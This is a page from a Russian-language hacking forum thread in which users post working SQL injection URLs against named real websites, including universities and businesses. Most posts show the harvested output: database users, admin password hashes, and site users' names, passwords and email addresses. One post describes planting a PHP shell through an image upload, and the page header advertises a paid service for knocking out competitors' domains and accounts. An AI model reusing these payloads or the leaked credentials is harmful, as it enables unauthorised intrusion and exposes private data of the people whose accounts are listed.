УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 418 из 1242

418

Опции темы

Поиск в этой теме

Опции просмотра

#4171

25.12.2007, 13:25

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

Провел на форуме:
686641

Репутация: 205

Код HTML:

http://www.politcom.ru/article.php?id=-5492+UNION+SELECT+concat(user(),0x3a,database(),0x3a,version())/*

W_POLIT@195.42.160.28:W_POLIT:4.1.20-1.GMS

2 JIyka

Код HTML:

http://www.lilstructuraldesign.ro/work.php?id=-1+union+select+1,2,3,4,5,concat(id,0x3a,user,0x3a,pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58+from+users/*

1:amro:b4af804009cb036a4ccdc33431ef9ac9

Последний раз редактировалось ~EviL~; 25.12.2007 в 13:30..

#4172

25.12.2007, 15:15

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Отправить сообщение для fRg с помощью ICQ

cavi.dk

Код:

http://www.cavi.dk/showarticle.php?id=-1/**/union/**/select/**/1,2,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),database(),user()),0x71),0x71),4,5,6/*&newsletter_id=8

4.1.18:cavi_nyhedsbrev:cavidb@localhost
с фильтрами постарались...

studyport.info

Код:

http://studyport.info/viewdetails.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15/*

4.1.22-log : portua_studybank : portua_studybank@apollo

iwsf.com - International Water Ski Federation

Код:

http://www.iwsf.com/dbheadlines/showarticle.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9/*

4.0.27-standard-log:db204576552:dbo204576552@74.208.16.37

urummage.com

Код:

http://www.urummage.com/articles/showarticle.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user())/*

4.1.22-standard-log:urummag_urummag:urummag_dba@web1.infinology.co m

#4173

25.12.2007, 16:18

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

Провел на форуме:
6905523

Репутация: 1174

Вот и от меня немного...
www.maxnormal.tv

Код:

http://www.maxnormal.tv/magazine.php?id=-1+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3a,version(),user(),database()),0x71),0x71),4,5,6+from+%20%20users+limit+0,1+--+

4.1.11-Debian_4sarge7:africandopeco@10.1.3.41:africandope _co_za_-_waddy

Код:

http://www.maxnormal.tv/magazine.php?id=-1+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3a,username,password),0x71),0x71),4,5,6+from+users+limit+0,1+--+

matt : 1a1dc91c907325c69271ddf0c944bc72 : pass
www.deltarescue.tv

Код:

http://www.deltarescue.tv/deltarescue/war/item.php?id=-1+union+select+version(),2,3,4,5,6,7+--+

4.0.24_Debian-10sarge2-log:deltarescue@localhost:deltarescue
www.llbn.tv

Код:

http://www.llbn.tv/index.php?option=com_na_content&task=view&id=55-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3a,version(),user(),database()),0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+--+

4.1.10a-Max:hzhnkrhe@localhost:llbn-netadventist-org
www.canallatino.tv

Код:

http://www.canallatino.tv/x2/index.php?id=2&seccion=3&noticia=1+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3a,version(),user(),database()),0x71),0x71),4,5,6,7,8,9,10,11,12,13,14,15,16+--+

.1.15-Debian_1-log:new_users@localhost:new_users'>.1.15-Debian_1-log:new_users@localhost:n...
www.music.indiana.edu

Код:

http://www.music.indiana.edu/apps/prelude/new/index.php?id=4495'+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+--+

5.0.22:sitevisitor@localhost:musevents
www.stnersess.edu

Код:

http://www.stnersess.edu/schoolFacultyInfo/alumni/details.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15+--+

4.0.27-standard:stnerses_db@localhost:stnerses_db
ieee.metu.edu

Код:

http://ieee.metu.edu/alaattin/v2/detay.php?catid=9&id=-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3a,version(),user(),database()),0x71),0x71),3,4,5,6,7+--+

4.1.11-Debian_4sarge7:alaattin@localhost:alaattindb

#4174

25.12.2007, 18:32

n0ne

Постоянный

Регистрация: 01.01.2007

Сообщений: 796

Провел на форуме:
2693408

Репутация: 861

zebratelecom.com

Цитата:

http://www.zebratelecom.com/private/news.php?id=244&prn=-3684+union+select+1/*

test@localhost::4.1.20::zebra_private2007

Та же фигня и на zebra.ru, и на zebratelecom.ru, короче на всех зеркалах.

#4175

25.12.2007, 19:13

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

Провел на форуме:
686641

Репутация: 205

Код HTML:

http://www.domkino.spb.ru/description.php?id=-572+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat(user(),0x3a,database(),0x3a,version()),11,12/*

domkinospbru@78.108.81.211:domkinospbru:4.1.21-log

Код HTML:

http://www.domkino.spb.ru/description.php?id=-572+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat(name,0x3a,password,0x3a,email),11,12+FROM+user+LIMIT+0,1/*

Шурик:ahin:sshurik@online.ru
Андрей:andrey:nag@parnas.spb.ru
Sergh:ss:sergh@finec.ru
Джек-потрошитель:jack:jack@mail.ru

#4176

25.12.2007, 21:20

fobofob

Участник форума

Регистрация: 02.08.2007

Сообщений: 242

Провел на форуме:
1373642

Репутация: 569

Довольно крупный сайт...

код:

http://www.zavarka.com/texts/cgi-bin/show.cgi?id=-381+union+select+1,2,3,4,5,6,7,8/*&p=0

жаль 4 мускул

p.s тоже самое на зеркале в домене ru

#4177

25.12.2007, 21:37

159932

Постоянный

Регистрация: 28.09.2007

Сообщений: 820

Провел на форуме:
6722038

Репутация: 1385

www.transfermarketweb.com

Цитата:

http://www.transfermarketweb.com/?action=read&idsel=-8190+union+select+1,2,3,4,convert(concat(user,0x3a ,password),binary),6,7,8,9,0,1,2,3,4+from+mysql.us er/*

root:681a9db507f25aea:my22lu75
http://www.transfermarketweb.com/admin/

#4178

25.12.2007, 22:26

Nea7

Участник форума

Регистрация: 08.09.2007

Сообщений: 211

Провел на форуме:
5076186

Репутация: 778

Цитата:

Сообщение от fobofob

Довольно крупный сайт...

код:

http://www.zavarka.com/texts/cgi-bin/show.cgi?id=-381+union+select+1,2,3,4,5,6,7,8/*&p=0

жаль 4 мускул

p.s тоже самое на зеркале в домене ru

на сайте есть скрипт аплоада "валлпаперов" , щас линк не могу дать так как сайт не грузит =\ аплоадим значит нашу "картинку"... нам напишет что-то вроде - "после проверки администратором ваша картинка будет размещена на сайте"... мы же не будем ждать этого, а сразу перейдем к нашей пикче, благо директории открыты для просмотра :

Код:

http://www.zavarka.ru/wallpapers/data/New/606426_jpe9.php

#4179

25.12.2007, 22:51

.Begemot.

Участник форума

Регистрация: 27.03.2007

Сообщений: 161

Провел на форуме:
1273248

Репутация: 785

Отправить сообщение для .Begemot. с помощью ICQ

glasmaher.com

Код HTML:

http://www.glasmaher.com/index.php?id=999+union+select+0,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),2,3,4,5,6,7,8,9,10,11,12,13,14,15/*&lang=si

USER:gmaher_optika@localhost
VERSION:4.1.15-standard-log
DATABASE:gmaher_glasmaher

Есть таблица admin и столбец id.

Код HTML:

http://www.glasmaher.com/index.php?id=999+union+select+0,concat(id),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+admin/*&lang=si

Админка

Код HTML:

http://www.glasmaher.com/admin/

#4180

25.12.2007, 23:46

159932

Постоянный

Регистрация: 28.09.2007

Сообщений: 820

Провел на форуме:
6722038

Репутация: 1385

www.thehaus.ez-net.com

Цитата:

http://thehaus.ez-net.com/index.php?ent=5321+union+select+1,2,3,4,5,6,conver t(passwd,binary)+from+admins/*

Страница 418 из 1242

418

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход